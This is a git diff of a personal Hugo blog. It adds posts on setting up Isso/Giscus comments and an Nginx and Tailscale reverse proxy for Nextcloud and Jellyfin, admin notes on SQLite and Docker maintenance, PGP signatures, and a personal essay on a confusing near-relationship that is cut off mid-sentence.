and a simple embed. At the same time, I like the developer-friendly workflow of **Giscus** (comments are GitHub Discussions), so I kept both and added a little switcher UI: **“Anonymous (Isso)”** or **“GitHub (Giscus)”**. + +Result: readers can pick privacy/anon (Isso) or identity/notifications (Giscus). + + +## How I run it (high-level) + +- **Site:** Hugo + PaperMod +- **Isso:** listening on `127.0.0.1:8080`, stored locally (SQLite) +- **Nginx:** reverse-proxies **`/isso/`** to Isso on both the clearnet and the `.onion` vhost +- **Hugo partial:** renders the two panels (Isso & Giscus) and a switcher; Giscus is **lazy-loaded** and **auto-rethemed** with the site theme + +> I’m deliberately keeping Isso’s own config tiny in this appendix; the important part for my setup is the **Nginx proxying** and the **Hugo partial**. + + +## Hugo partial: switcher + embeds + +Save as `layouts/partials/comments.html` and include it in your single layout (e.g. `layouts/_default/single.html`) with `{{ partial "comments.html" . }}`. + +```html + +
    + + + Open on GitHub ↗ +
    + + +
    +
    + + + Comments powered by Isso + +
    + + + + + +``` + + +## Nginx: proxy Isso on **both** sites (and avoid the 404-onion trap) + +The bug I hit: my `.onion` server had a regex static block that **won over** the plain `/isso/` location, so `/isso/js/embed.min.js` returned **404**. + +**Fix:** make `/isso/` a `^~` prefix location so it beats regex, and place it **above** the static block. + +```nginx +# /etc/nginx/sites-enabled/onion-blog (same idea for the clearnet vhost) +server { + listen 127.0.0.1:3301 default_server; + server_name fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion 127.0.0.1 localhost; + + add_header Referrer-Policy no-referrer always; + add_header X-Content-Type-Options nosniff always; + add_header X-Frame-Options SAMEORIGIN always; + + root /srv/hugo/mysite/public-onion; + index index.html; + + location / { try_files $uri $uri/ /index.html; } + + # /isso -> /isso/ + location = /isso { return 301 /isso/; } + + # IMPORTANT: this must beat regex locations below + location ^~ /isso/ { + proxy_pass http://127.0.0.1:8080/; # Isso container/port + proxy_http_version 1.1; + proxy_set_header Host $host; + proxy_set_header X-Forwarded-Host $host; + proxy_set_header X-Forwarded-Proto $scheme; + proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; + proxy_redirect off; + proxy_read_timeout 60s; + } + + # static + location ~* \\.(css|js|ico|png|jpg|jpeg|gif|svg|webp|txt|xml)$ { + access_log off; + add_header Cache-Control "public, max-age=31536000, immutable"; + try_files $uri =404; + } +} +``` + +Reload and smoke test: + +```bash +sudo nginx -t && sudo systemctl reload nginx +curl -I http:///isso/js/embed.min.js # expect 200 +``` + +> If you ever point `data-isso` to a **different origin**, add CORS headers on that vhost. For same-origin (`data-isso="/isso"`), you don’t need CORS. + + +## Small CSS tweaks (one color across light/dark + spacing) + +I wanted the same blue for **reply / edit / delete** links and for **Submit / Preview** buttons, in both themes, and a little spacing: + +```css +/* put this in your site CSS */ +:root { --btn-blue: #2563eb; } /* adjust to taste */ + +/* Isso form buttons */ +.isso-post-action input[type="submit"], +.isso-post-action input[name="preview"] { + background: var(--btn-blue) !important; + color: #fff !important; + border: none; + padding: .5rem .75rem; + border-radius: .4rem; + cursor: pointer; +} + +/* link actions under comments */ +.isso-comment-footer a { + color: var(--btn-blue) !important; + margin-right: .5rem; /* gives "edit" and "delete" some breathing room */ + text-decoration: none; +} +.isso-comment-footer a:hover { text-decoration: underline; } + +/* keep name/email/website stacked, slightly larger */ +.isso-auth-section .isso-input-wrapper { + display: block; + margin: .35rem 0; +} +.isso-auth-section label { font-size: .95rem; } +.isso-auth-section input[type="text"], +.isso-auth-section input[type="email"], +.isso-auth-section input[type="url"] { + width: 100%; + font-size: 1rem; + padding: .5rem .6rem; +} +``` + + +## What changed (the fixes I actually made) + +1. **Theme correctness for Giscus.** + PaperMod doesn’t add `.light`—it only toggles `.dark` and stores `pref-theme`. I now: + - read `localStorage.pref-theme` first, + - fall back to class/data-theme, then + - fall back to OS preference. + I also re-theme the Giscus iframe on every toggle via `postMessage`. + +2. **Isso over Tor.** + On the `.onion` vhost, I moved the proxy to a `^~ /isso/` block so it beats the static regex. That fixed the `404` on `/isso/js/embed.min.js`. + +3. **UI polish.** + - Unified button/link color across themes, + - ensured “edit”/“delete” aren’t touching, + - kept the author/email/website inputs **stacked**, and + - left **Submit**/**Preview** styled and grouped. + + +## Sanity check + +- Toggle the theme: Giscus switches between `noborder_light` and `dark_dimmed` without reload. +- Open DevTools → Network on onion: `/isso/js/embed.min.js` loads with **200**. +- Switcher buttons swap panels instantly; Giscus only loads when clicked. + + + +## 8) Final notes! +I could not fully fix the style of Isso. +CSS is not easy... drat! + +I don't think anyone actually reads the blog, let alone comment on it. +But it felt cool to have a comment section and also RSS for it. +I had a lot of not so fun debugging experience, and will probably work on the styling to make it look right, but for now I'm happy with it! ^^ + + +# Admin note — Delete all **Isso** comments for a single post + +This note is for future me: how to remove every comment tied to one post in **Isso**. +Tested with SQLite-backed Isso (default). Works whether you serve via clearnet or `.onion` — because this operates directly on the database. + +--- + +## TL;DR (host with SQLite) + +> Replace the placeholders for `DB` and `POST_URI` first. + +```bash +# 0) Variables — edit these two lines for your setup +DB="/var/lib/isso/comments.db" # path to your Isso SQLite DB (check isso.conf: [general] dbpath) +POST_URI="/posts/skin_routine/" # the post's URI as stored by Isso (often just the path) + +# 1) Backup (always do this!) +sqlite3 "$DB" ".backup '$(dirname "$DB")/comments.$(date +%F-%H%M%S).backup.sqlite3'" + +# 2) Inspect: find the thread row and preview the comments +sqlite3 "$DB" " +.headers on +.mode column +SELECT id, uri FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%'; +SELECT id, tid, created, author, text +FROM comments +WHERE tid IN (SELECT id FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%') +ORDER BY created DESC +LIMIT 25; +" + +# 3) Delete all comments for that post (thread) +sqlite3 "$DB" " +DELETE FROM comments +WHERE tid IN (SELECT id FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%'); +" + +# 4) (Optional) Remove the now-empty thread row too +sqlite3 "$DB" " +DELETE FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%'; +VACUUM; +" + +# 5) Done. Isso usually picks this up automatically. +# If you're containerized and want to be safe: +# docker restart +``` + +--- + +## If running Isso in Docker + +Open a shell in the container, then run the same steps: + +```bash +docker exec -it /bin/sh + +# Inside the container: +DB="/db/comments.db" # or /data/comments.db, check your image/volume mapping +POST_URI="/posts/skin_routine/" + +sqlite3 "$DB" ".backup '/db/comments.$(date +%F-%H%M%S).backup.sqlite3'" +sqlite3 "$DB" "SELECT id, uri FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%';" +sqlite3 "$DB" "DELETE FROM comments WHERE tid IN (SELECT id FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%');" +sqlite3 "$DB" "DELETE FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%'; VACUUM;" +exit + +# Optionally restart the container: +docker restart +``` + +--- + +## Notes & gotchas + +- **Find the real DB path**: In `isso.conf` (often `/etc/isso/isso.conf` or within your container at `/config/isso.conf`), look for: + ```ini + [general] + dbpath = /var/lib/isso/comments.db + ``` +- **What goes in `POST_URI`?** Isso stores a `uri` string per thread. With the default embed config, it's usually the **path** (`/posts//`). If you’re unsure, list recent threads: + ```bash + sqlite3 "$DB" ".headers on" ".mode column" "SELECT id, uri FROM threads ORDER BY id DESC LIMIT 50;" + ``` +- **Clearnet vs `.onion`**: If you load the same post under multiple origins _and_ your embed setup stores full origins, you may have **multiple thread rows**. The `LIKE` query above deliberately matches any uri containing your `POST_URI` to catch those. +- **Rollback**: To undo, stop Isso (optional), replace the DB with your backup (`comments.YYYY-MM-DD-HHMMSS.backup.sqlite3`), and start Isso again. +- **HTTP API option**: Isso supports `DELETE /` if admin endpoints/auth are enabled. For bulk removal it’s simpler and safer to use SQLite directly. +- **Safety**: Always run a backup first, and **preview with the SELECT** before you run the DELETE. + +--- + +## One-liners for the impatient + +```bash +DB="/var/lib/isso/comments.db"; POST_URI="/posts/skin_routine/" +sqlite3 "$DB" ".backup '$(dirname "$DB")/comments.$(date +%F-%H%M%S).backup.sqlite3'" +sqlite3 "$DB" "DELETE FROM comments WHERE tid IN (SELECT id FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%');" +sqlite3 "$DB" "DELETE FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%'; VACUUM;" +``` + +--- + +**Isso container: quick checks & fixes for future me! (thank past me later ^^)** + +**Find the container** +```bash +docker ps -a --format 'table {{.ID}} {{.Names}} {{.Status}} {{.Ports}}' | grep -i isso +``` + +**Inspect basic state** +```bash +docker inspect -f 'Name={{.Name}} Running={{.State.Running}} Status={{.State.Status}} StartedAt={{.State.StartedAt}} FinishedAt={{.State.FinishedAt}}' isso +``` + +**Logs** +```bash +docker logs --tail=200 isso +docker logs -f isso +``` + +**Ports & reachability** +```bash +docker port isso +sudo ss -ltnp | grep ':8080 ' +curl -i http://127.0.0.1:8080/ +``` + +**Restart policy (keep it running)** +```bash +docker inspect -f '{{.HostConfig.RestartPolicy.Name}}' isso +docker update --restart unless-stopped isso +``` + +**Start/stop the container** +```bash +docker start isso +docker stop isso +``` + +**Who/what stopped it (events)** +```bash +docker events --since 24h --filter container=isso +``` + +**Common config issue: duplicate options/sections** +If logs show DuplicateOptionError or DuplicateSectionError, fix `/config/isso.cfg` (remove duplicate `[server]` blocks or duplicate `public-endpoint`). + +```bash +nl -ba /config/isso.cfg | sed -n '1,120p' +grep -n '^\[server\]' /config/isso.cfg +grep -n '^public-endpoint' /config/isso.cfg +``` + +**Using Docker Compose** *(run these in the directory with your compose file)* +```bash +docker compose ps +docker compose logs --tail=200 isso +docker compose up -d isso +``` + +**If the container doesn’t exist (create/recreate)** +```bash +docker image ls | grep -i isso + +docker run -d --name isso -p 8080:8080 -v /srv/isso/config:/config -v /srv/isso/db:/db --restart unless-stopped ghcr.io/posativ/isso:latest +``` + +**Optional: exclude from auto-updaters (like Watchtower)** +```bash +docker update --label-add com.centurylinklabs.watchtower.enable=false isso +``` + + +_This note is intentionally self-contained so I can paste it at the end of the blog post as a maintainer-only appendix._ + +--- + +{{< sigdl >}} diff --git a/static/sources/posts/new_features.md.asc b/static/sources/posts/new_features.md.asc new file mode 100644 index 0000000..601b40a --- /dev/null +++ b/static/sources/posts/new_features.md.asc @@ -0,0 +1,16 @@ +-----BEGIN PGP SIGNATURE----- + +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuMACgkQtYgoUOBM +jSr2VxAAgdHpf+4EIx2ASmSB+MeAHp7s1+2EPhmn96QuhiQO9Dr1e9250LbF/R8S +A0zcN8mmyOtKv2rediU6HsGy6ddwdTAtpQDRvMw2Xuk2pBUZaG5LuvlNgSse9zVB +dcG3GVLuMSRgNmyolhFoSWn46aa+3wZGrzYZQVUt8op+2fVp36agq2YoB4zeGKSm +Ri43rO/kTingD0bclOA+SMbHpKQOcLyHwDlVrqIjVXcJ/kKLcm1G3Z5owo+gB6jY +EMjxYiqyf5Zcbt4q/WzojbHLffjXoMzOgZ1sDOIObVQni9atgV49X4oIZ3+xSXSH +W7ZbH6sg9LlrU8djddBXUKB0i72IVZ/4F5icVFUcK+szOmASy8fFP7gCOcCRATtb +eNIFtiAlRXI0CqJdeq5fE9b+LX8lRpNnX229tg7GFgddzYUmFkKAsoJ9EUzUvUHm +Xzqlm9DKy9LG/CeOxo473fIo4YCT2fcmMnt9nCZW4iDKOVl1nCupkTn5qsfNdpQM +KycaNwsLBHPZWV+jDon8NEzYQk07n1Q9rlEWdL0egvn2S+pYnvLZbfi5dRhe+ciC +qcEW/I1NZZRdU7MUEzhWvhbWsZtTkm6OevXjnqACv91DIQv7tNrKwZuASnpFeDRa +GE0QYRrsaI3vCLR3cUmBAFsvZdwgzH0RQLb8w21XBW/BoFvixbA= +=9k+S +-----END PGP SIGNATURE----- diff --git a/static/sources/posts/pi_service_touchup.md b/static/sources/posts/pi_service_touchup.md new file mode 100644 index 0000000..36acf23 --- /dev/null +++ b/static/sources/posts/pi_service_touchup.md @@ -0,0 +1,418 @@ +--- +title: "Nextcloud on a Raspberry Pi, Fronted by a Tiny VPS — Nginx Reverse Proxy, Trusted Proxies, and Basic Auth for Jellyfin" +date: 2026-02-02 +tags: ["homelab","nginx","docker","nextcloud","jellyfin","cloudflare","tailscale","security","raspberrypi"] +description: "Cloudflare DNS + Nginx on a VPS + Tailscale to the Pi. Small, boring, and reliable." +draft: false +--- + +> I didn’t “move Nextcloud to the cloud”. +> I moved the **front door** to a VPS… and kept the house on my Raspberry Pi. 😄 + +This post documents the setup I ended up with: + +- A public **VPS** (host: `funbox`) running **Nginx** + **Let’s Encrypt** +- A private **Raspberry Pi** (host: `iot-hub`) running Docker services (**Nextcloud**, **Jellyfin**, …) +- A private backhaul using **Tailscale** (the `100.x.y.z` network) +- A correct Nextcloud reverse-proxy configuration (**trusted_domains**, **trusted_proxies**, and overwrite values) +- A pragmatic security layer for media: **Basic Auth at Nginx for Jellyfin** + (in addition to Jellyfin’s own login) + +I’m writing this as a “future me” note and a “copy-paste friendly” guide. + +--- + +## 0) Topology + +The request path looks like: + +``` +Browser + ↓ HTTPS (public) +Cloudflare DNS (optional proxy on/off) + ↓ +VPS (funbox) — Nginx reverse proxy + Let's Encrypt + ↓ HTTP over Tailscale (private 100.x network) +Raspberry Pi (iot-hub) — Docker: Nextcloud / Jellyfin / … +``` + +Why I like it: + +- The Pi can sit behind home router / CGNAT and still be reachable. +- TLS, redirects, headers, auth, rate limits… all centralized on the VPS. +- Internal IPs can change without breaking public URLs. + +--- + +## 1) What’s running on the Pi? + +On `iot-hub` the “interesting” containers are: + +- `nextcloud` (Apache variant) +- `nextcloud-db` (Postgres) +- `nextcloud-redis` +- `jellyfin` + +Example `docker ps` style output (yours may vary): + +``` +nextcloud nextcloud:apache 0.0.0.0:8080->80/tcp +jellyfin jellyfin/jellyfin 0.0.0.0:8096->8096/tcp +``` + +So on the Pi, the services listen on: +- `http://:8080` for Nextcloud +- `http://:8096` for Jellyfin + +But in my setup, **the VPS does not reach those via LAN** — it reaches them via Tailscale IPs. + +--- + +## 2) Tailscale: the private wire between VPS and Pi + +Tailscale assigns each node an address like `100.xx.yy.zz`. + +In my config, Nginx on `funbox` points to the Pi via Tailscale: + +- Nextcloud upstream: `http://100.104.127.96:8080` +- Jellyfin upstream: `http://100.104.127.96:8096` + +(Use the Tailscale IP of your Pi.) + +Quick sanity checks from the VPS: + +```bash +# from funbox, make sure you can reach the Pi service: +curl -I http://100.104.127.96:8080 +curl -I http://100.104.127.96:8096 +``` + +If those don’t work: fix Tailscale connectivity first (ACLs, firewall, node online). + +--- + +## 3) Nginx on the VPS: reverse proxy blocks + +### 3.1 Nextcloud vhost (VPS → Pi via Tailscale) + +Create (or edit): + +`/etc/nginx/sites-available/nextcloud.alipourimjourneys.ir` + +and symlink into `sites-enabled`. + +Here is a complete working example: + +```nginx +# Redirect HTTP → HTTPS +server { + listen 80; + listen [::]:80; + server_name nextcloud.alipourimjourneys.ir; + + return 301 https://$host$request_uri; +} + +server { + listen 443 ssl; + listen [::]:443 ssl; + server_name nextcloud.alipourimjourneys.ir; + + # Certbot-managed certs + ssl_certificate /etc/letsencrypt/live/nextcloud.alipourimjourneys.ir/fullchain.pem; + ssl_certificate_key /etc/letsencrypt/live/nextcloud.alipourimjourneys.ir/privkey.pem; + include /etc/letsencrypt/options-ssl-nginx.conf; + ssl_dhparam /etc/letsencrypt/ssl-dhparams.pem; + + # Big uploads (tune to taste) + client_max_body_size 2G; + + # CalDAV/CardDAV redirects + location = /.well-known/carddav { return 301 https://$host/remote.php/dav/; } + location = /.well-known/caldav { return 301 https://$host/remote.php/dav/; } + + location / { + proxy_pass http://100.104.127.96:8080; + + proxy_http_version 1.1; + + proxy_set_header Host $host; + proxy_set_header X-Real-IP $remote_addr; + proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; + proxy_set_header X-Forwarded-Proto $scheme; + + # Sometimes helps apps behind multiple proxies + proxy_set_header X-Forwarded-Host $host; + proxy_set_header X-Forwarded-Port $server_port; + + # Nextcloud + WebDAV can do long requests + proxy_read_timeout 3600; + proxy_send_timeout 3600; + + # Usually good for DAV/uploads + proxy_buffering off; + proxy_request_buffering off; + } +} +``` + +Then test + reload: + +```bash +sudo nginx -t +sudo systemctl reload nginx +``` + +### 3.2 Jellyfin vhost (with Basic Auth) + +Create: + +`/etc/nginx/sites-available/jellyfin.alipourimjourneys.ir` + +Example: + +```nginx +server { + listen 80; + listen [::]:80; + server_name jellyfin.alipourimjourneys.ir; + return 301 https://$host$request_uri; +} + +server { + listen 443 ssl; + listen [::]:443 ssl; + server_name jellyfin.alipourimjourneys.ir; + + ssl_certificate /etc/letsencrypt/live/jellyfin.alipourimjourneys.ir/fullchain.pem; + ssl_certificate_key /etc/letsencrypt/live/jellyfin.alipourimjourneys.ir/privkey.pem; + include /etc/letsencrypt/options-ssl-nginx.conf; + ssl_dhparam /etc/letsencrypt/ssl-dhparams.pem; + + client_max_body_size 512M; + + # ✅ Basic Auth gate (extra layer before Jellyfin) + auth_basic "Jellyfin (private)"; + auth_basic_user_file /etc/nginx/.htpasswd-jellyfin; + + location / { + proxy_pass http://100.104.127.96:8096; + proxy_http_version 1.1; + + proxy_set_header Host $host; + proxy_set_header X-Real-IP $remote_addr; + proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; + proxy_set_header X-Forwarded-Proto $scheme; + + # Jellyfin uses websockets + proxy_set_header Upgrade $http_upgrade; + proxy_set_header Connection "upgrade"; + + proxy_read_timeout 3600; + proxy_send_timeout 3600; + + proxy_buffering off; + } +} +``` + +Enable: + +```bash +sudo ln -s /etc/nginx/sites-available/jellyfin.alipourimjourneys.ir /etc/nginx/sites-enabled/ +sudo nginx -t +sudo systemctl reload nginx +``` + +--- + +## 4) Creating the Basic Auth password file + +Install tools (Debian/Ubuntu): + +```bash +sudo apt-get update +sudo apt-get install -y apache2-utils +``` + +Create the password file: + +```bash +sudo htpasswd -c /etc/nginx/.htpasswd-jellyfin yourusername +``` + +(If adding more users later, omit `-c`.) + +Lock it down: + +```bash +sudo chown root:root /etc/nginx/.htpasswd-jellyfin +sudo chmod 640 /etc/nginx/.htpasswd-jellyfin +``` + +### Notes on clients +- Most browsers + most Jellyfin apps handle HTTP Basic Auth fine. +- Some TV apps can be quirky. If a client can’t handle it, you can: + - remove Basic Auth, or + - keep it only on selected paths, or + - use Cloudflare Access in front of Jellyfin instead (more work). + +--- + +## 5) Nextcloud: configure it to behave behind the reverse proxy + +Nextcloud needs to know: +- what hostnames are valid, +- which proxy is trusted, +- and what the “outside” URL scheme is. + +You can do it via `occ` inside the container (Apache image uses `www-data`). + +### 5.1 trusted_domains + +Check current values: + +```bash +docker exec -u www-data nextcloud php /var/www/html/occ config:system:get trusted_domains +``` + +Add your public domain: + +```bash +docker exec -u www-data nextcloud php /var/www/html/occ config:system:set trusted_domains 1 --value="nextcloud.alipourimjourneys.ir" +``` + +(Keep your internal name too if you still use it, e.g. `rpi:8080`.) + +### 5.2 trusted_proxies + +Because requests arrive from the VPS (over Tailscale), Nextcloud must trust that proxy IP. + +Example: + +```bash +docker exec -u www-data nextcloud php /var/www/html/occ config:system:set trusted_proxies 0 --value="100.99.79.75" +``` + +(Use the **VPS’s Tailscale IP** as seen from the Pi.) + +### 5.3 overwritehost / overwriteprotocol / overwrite.cli.url + +Tell Nextcloud “the world sees me as https://nextcloud.example”: + +```bash +docker exec -u www-data nextcloud php /var/www/html/occ config:system:set overwritehost --value="nextcloud.alipourimjourneys.ir" +docker exec -u www-data nextcloud php /var/www/html/occ config:system:set overwriteprotocol --value="https" +docker exec -u www-data nextcloud php /var/www/html/occ config:system:set overwrite.cli.url --value="https://nextcloud.alipourimjourneys.ir" +``` + +### 5.4 forwarded_for_headers (optional, but often helpful) + +```bash +docker exec -u www-data nextcloud php /var/www/html/occ config:system:set forwarded_for_headers 0 --value="HTTP_X_FORWARDED_FOR" +``` + +Restart Nextcloud container after config: + +```bash +docker restart nextcloud +``` + +--- + +## 6) Sanity checks (curl is your friend) + +From anywhere public: + +```bash +curl -I http://nextcloud.alipourimjourneys.ir +curl -I https://nextcloud.alipourimjourneys.ir +curl -I https://nextcloud.alipourimjourneys.ir/.well-known/caldav +``` + +Expected “good signs”: + +- HTTP returns **301** to HTTPS +- HTTPS returns **302** to `/login` (or 200 if already authenticated) +- `/.well-known/caldav` returns **301** to `/remote.php/dav/` + +If you see redirect loops or wrong hostnames: +- revisit `overwritehost`, `overwriteprotocol`, `trusted_proxies`. + +--- + +## 7) “Do I really need Cloudflare Access / WARP?” + +### The honest answer +If your setup is: +- HTTPS only +- strong passwords + MFA in Nextcloud/Jellyfin +- your origin isn’t directly exposed (only the VPS is public) +- you keep things patched + +…then you’re already in a **reasonable** place. + +### “Can I skip Cloudflare Access?” +Yes. In this topology, Cloudflare Access is optional. The main security boundary is: + +- **Public:** VPS + Nginx +- **Private:** Pi over Tailscale + +For Jellyfin, Basic Auth adds a cheap extra gate that’s “family friendly”. + +--- + +## 8) Cloudflare Access: One-time PIN not arriving + passkeys + +Two common gotchas: + +### 8.1 One-time PIN email didn’t arrive +That flow relies on email delivery. Check: +- spam/junk folder +- if your provider blocked it +- the exact email allowlist in your policy + +If it’s flaky, I’d avoid One-time PIN and use a real identity provider. + +### 8.2 Can I use passkeys / Apple / Google? +Yes — but passkeys typically come via an identity provider (IdP) that supports WebAuthn/passkeys. +Practical approach: +- pick what your family already uses (Google or Apple), +- configure that as the login method, +- avoid WARP enrollment unless you specifically want device-based access. + +--- + +## 9) Hardening checklist (tiny but effective) + +On the VPS: +- Keep Ubuntu security updates on +- firewall: allow only what you need (22/80/443) +- optional: `fail2ban` for SSH + +On the Pi: +- keep Docker images updated +- Postgres/Redis not exposed publicly (Docker internal network) +- backups: Nextcloud data + DB + +--- + +## 10) TL;DR + +- VPS Nginx terminates TLS, proxies to Pi over Tailscale +- Nextcloud must be told about: + - `trusted_domains` + - `trusted_proxies` + - overwrite values (`overwritehost`, `overwriteprotocol`, `overwrite.cli.url`) +- `curl -I` should show sane redirects + `/remote.php/dav/` +- Jellyfin gets an extra gate with **Nginx Basic Auth** + +Boring is good. Boring runs for months. + +--- + + + +--- + +{{< sigdl >}} diff --git a/static/sources/posts/pi_service_touchup.md.asc b/static/sources/posts/pi_service_touchup.md.asc new file mode 100644 index 0000000..c69df23 --- /dev/null +++ b/static/sources/posts/pi_service_touchup.md.asc @@ -0,0 +1,16 @@ +-----BEGIN PGP SIGNATURE----- + +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuYACgkQtYgoUOBM +jSomZA/+LsB+V0BnPki5qaDc+tRu6EXM5kPuH7G8x5ar4opsKgbfsRKEwT6/Q0Er +vfg48uYNp4fBnoyfJrgURx+OwS7EVJRCmXaRsdilEEGHF7cT3qHhlczYaC+58lGs ++qXaHjYE8x0byAZ8iHNxNUhIyILVrcsdua3JZ3D3J/8r93dfVgrWg41Nrtj4tPUE +QQMW/KxTe/TOED4iivXxFlDCiT13KmgB/B9HeunGPqu8lPMTORf4ePoPzeYEeuuZ +iVH+ssNZ9XB00Z4a/c3I0d2ALLYoA/dXmrJkl0qCCpCy+7/id2yz3eXYWn2xKMvp +SAMTYaFAV6Fd7xdmxGYEeoCSDu8P57P7QfdPVEU1oUTANO21tEh1vGnjxcFdJUBx +kOvBdjQf4wDqUuNv7NKA+OHOzhJ3Wf3VLb/ZNq6Y2okEibsCygm3XDn0008WeKPv +ncB0gceY6nFYzbyhuUIhPtQJJWDNi5KG/KMEvYcebEwDzn7TErg/v3Bp8ZCdWRx/ +Gs8K9nADnHhAjWgwTq3D+2qRWcF0tlLSTmKg+95yaYi0XWWMFGTgCv2odPsgFlIS +3FiLJC3rV73prsk+7eZftBTYCJN0Xk92YFj4a6bTYeuLcC20VbAA98Bpi0pCyO0v +TJ2+amlKyT+Nq9wGrAez+dTvR0FKuEvA5OO693Aibv/iwOX6UPU= +=2UUg +-----END PGP SIGNATURE----- diff --git a/static/sources/posts/relationships.md b/static/sources/posts/relationships.md new file mode 100644 index 0000000..d5cc424 --- /dev/null +++ b/static/sources/posts/relationships.md @@ -0,0 +1,166 @@ ++++ +title = 'Relationships' +date = 2025-10-05T08:03:31Z +description= "My experience so far with relationships" +draft = false ++++ + +> Notice: You'll hear me ranting in this post, so buckle up, or just go to another fun post. I am very vulnerable right now and want to put out my story without naming anyone. + +So... do you also think you're a lover boy, kind, nice person? +So do I! +I think I'm actually really good at making friends with people. +Like you know, you start introducing yourself, asking them some fun personal questions about hobbies or other stuff, and then you eventually start talking about other things. + +My problem is when things are to become more serious! +Like, you know... connecting at a more emotional level. +A "relationship". +I'm really bad at those. +In fact, I haven't ever been in one! +Now let's be honest, I'm not your typical jacked, handsome boy, but I think I'm somewhere around the average if not higher a bit? +Well, at least I hope so! :D + +I actually haven't even dated once so far. +My closest dating experience was something that turned out not to be a date, although most people I spoke to, were like... yea dude... it was a date buddy. +Why do I say it wasn't a date? +Well, because I was told so yesterday by her. +That if it's a date, you're supposed to say it beforehand. +I find that very fair actually. +I really do. +I wasn't even looking for anything more than a friendship from whatever these two weeks of interactions were, but things seemed abnormal. +Like we planned a future together. +We planned planting flowers, hosting Kareoki. We planned cooking/baking together for fun. We talked about me taaching her cycling since she said she was interested in it. And many many other things! +We even found our "favorite shops" in the city together! +It was weird! I'm so confused. +I remember the second time we went out together, we sat next to the river and close to eachother. +She leaned into me at some point. +She had also touched my arm gently when making a joke earlier when we went shopping together. +It felt weird. +I did feel she was flirting with me, making plans with me. +She sought my opinion on many things, the house she was considering moving into, color and design of the cushions for her house, and many other things. +We also had many deep conversations in this short amount of time. + +But then it happened. +Suddenly she messaged me saying how she is going to have a bf soon "hopefully". +That others know him, but not me. +That where we live there are not that many people. +That supply is low, and demand is high. +That this person asked her fast so that "the slots won't be filled". +It was weird, as if she was telling me I'm going to be taken if you don't do anything...? +After this weird encounter I talked to two of my friends, and my married brother and his wife. +When she heard about our interactions and all of the messages we passed, she did feel like I've been friendzoning her. +That I'm not resiprocating her feelings. +That she perhaps has a crush on me. +Even my brother felt the same! +My friend was a bit more unsure though, but he also felt like it could really be that she is playing games. +With all honestly, in her messages when she was teaching me the "ways", she said "I don't play games and I also advise you not to get together with people that do so". +Last time we went out together, one-on-one, many of the people we knew saw us together and some of them gave us looks that gave me more confidence that what I'm doing is normal and things are going well. +But I guess I was wrong? + +I do want to talk about some things that we exchanged on this weird conversation that made me confused. +She initially asked why I didn't go out with them last night. +I had an exam on 7th, but we had planned two one-on-one going outs for 4th and 5th, hence the reason I skipped going out with a group of people rather to have less on my plate for those days we were going to hang out together. +With all honestly I didn't even know she was joining them or not. +It's kinda weird, but the plans were made in a group she was not inside of. +Anyway. + +October 4th was a rainy day. +She said she might be catching a cold, and that going out in this weather is maybe not a good choice. +She said let's go next weekend as the weather is better, and also that we can go out after work hours in weekdays. +You see? She proposed a different time and date, she didn't just cancel last second. +And then she started talking about last night, the things that happened. +A guy apparently knew him, called her and then hugged her, and she insisted that she had only seen him once in Mensa last year and that she doesn't know him. +Then she started talking about how there is so much gossip behind her back, and people who know those gossips are wrong do not speak up for her. +And then she talked about how hard it is to be a girl, and how boys do not understand difference between flirting and being polite. +Then she talked about how when two people see each other, a click can happen, and that's how you can know if you like someone or not. If it's two way ofc. +I asked her what is this "click"? +She said "you know when you know, and if you think you don't know then there isn't one". +Interesting. +My poor brain started looking back at our own interactions. +I remembered how she smiled at me, leaned toward me, touched my arm, planned a future with me in it... +And again I felt she is hinting something. +Poor me was stuck between a rock and a hard place. +She told me that if I like someone I should ask them on a date "early", as time is of essence. +Again, I was confused. +I was lost. +We've been hanging out for two weeks, we have our favorite similar shops, hobbies. +We have plans together. +We understood eachother. +Or maybe that's just how I felt in my mind? +Maybe things in my brain are just different? +I don't know. + +My sister in law told me that she probably had a crush on me and that I didn't reciprocate her feelings perhaps? +That I'm friendzoning her by not touching her back or asking her out on a "date". +Her reasoning is that she initiated all of this. +She asked me to go to see the house she was considering renting, and then asked me to go out with her after that. +She told me that I should invite her to a date. +That I have to do something romantic now, maybe get flowers, and a gift. +And I did just that. +I messaged her talking about all of the good traits I had seen from her, her behaviour, and habits. +And I asked her on a date. + +She said she enjoyed the company too, and thanked me. +She then said she is starting a new relationship, but even if that was not the case, "we were so different from eachother at a much deeper level". +That her "life experiecnes" are just different, "and so on". +She did actually say "and so on". + +You know what it reminds me of? +Of when your paper gets rejected by saying "lacks novelty". xD + +Another extremely funny thing is that she said we're so different at a much deeper level, but she doesn't even know me. +What was meant at a deeper level? +I'm confused again. +She definitly does not know my hobbies, most of my interests, my stories, my family, friends, nothing. +She knew nothing about me. +How are we different so deeply if you don't even know me? I'm so so incredibly confused. +I guess it could be the looks, and the "vibes"? +But again, I do think she did not have a more polite better reason but did want to provide some sort of an explanation so that I won't pursue her I guess? +Idk. + +I want to also come back to this point she made that she is "starting a new relationship". +She told me in the same conversation that someone asked her out (which she technically didn't even say this, but it could be induced), and that going on a date "does not mean you're in a relationship, that you want to know eachother". +Her saying that "I said I'm starting a new relationship" hurt me, not because she is doing that, because she didn't technically tell me that. +She then said "I always tell people this to avoid confusion". +I definitly didn't miss it if she did. She didn't, but whatever. It's fine. I did apologize. +The reason I say this is that some other guys we knew came up to her and she was encouraging them to go see other girls, but not me... +Did I miss it? +She didn't. Just trust me on this one. ;) + +I'm just confused. +The last three times I had a crush on someone I confessed too. +First case was in a relationship which became awkward as she told her bf and he bullied me (drat!). +Second case ended up in a tragedy that I do not want to talk about, lol! +All I can say is that she definitly panicked and I don't blame her. +I do think in her case she had avoidant attachment and my anxious attachment style made her uncomfortable. +The third one said that she is in an 